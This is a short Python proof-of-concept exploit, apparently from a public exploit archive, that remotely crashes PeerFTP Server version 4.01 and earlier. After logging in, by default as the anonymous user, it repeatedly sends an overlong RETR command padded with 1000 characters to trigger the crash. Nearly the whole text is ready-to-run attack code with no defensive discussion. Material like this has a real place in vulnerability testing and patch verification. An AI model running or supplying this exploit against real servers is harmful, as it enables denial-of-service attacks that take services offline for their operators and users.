PeerFTP Server 4.01 Denial Of Service

`#!/usr/bin/python  
# PeerFTP Server <=v4.01 Remote Crash PoC  
# written by localh0t  
# Date: 19/03/12  
# Contact: [email protected]  
# Follow: @mattdch  
# www.localh0t.com.ar  
from socket import *  
import sys, struct, os  
if (len(sys.argv) < 3):  
print "\nPeerFTP Server <=v4.01 Remote Crash PoC"  
print "\n Usage: %s <host> <port> \n" %(sys.argv[0])  
sys.exit()  
def checkDefaultUser(username,password):  
if username == '':  
username = "anonymous"  
if password == '':  
password = "[email protected]"  
else:  
pass  
return username,password  
def createUser():  
username = raw_input("[!] Insert username (default: anonymous)> ")  
password = raw_input("[!] Insert password (default: [email protected])> ")  
return checkDefaultUser(username,password)  
(username,password) = createUser()  
print "\n[!] Connecting to %s ..." %(sys.argv[1])  
# connect to host  
sock = socket(AF_INET,SOCK_STREAM)  
sock.connect((sys.argv[1],int(sys.argv[2])))  
sock.recv(1024)  
print "[!] USERNAME: " + username  
sock.send("USER " + username + "\r\n")  
sock.recv(1024)  
print "[!] PASSWORD: " + password  
sock.send("PASS " + password + "\r\n")  
sock.recv(1024)  
print "[!] Sending payload..."  
payload = "RETR " + ("X" * 1000) + "\r\n"  
for i in range (1, 5):  
sock.send(payload)  
sock.close()  
print "[!] Exploit succeed. Target should crashed."  
sys.exit()  
  
`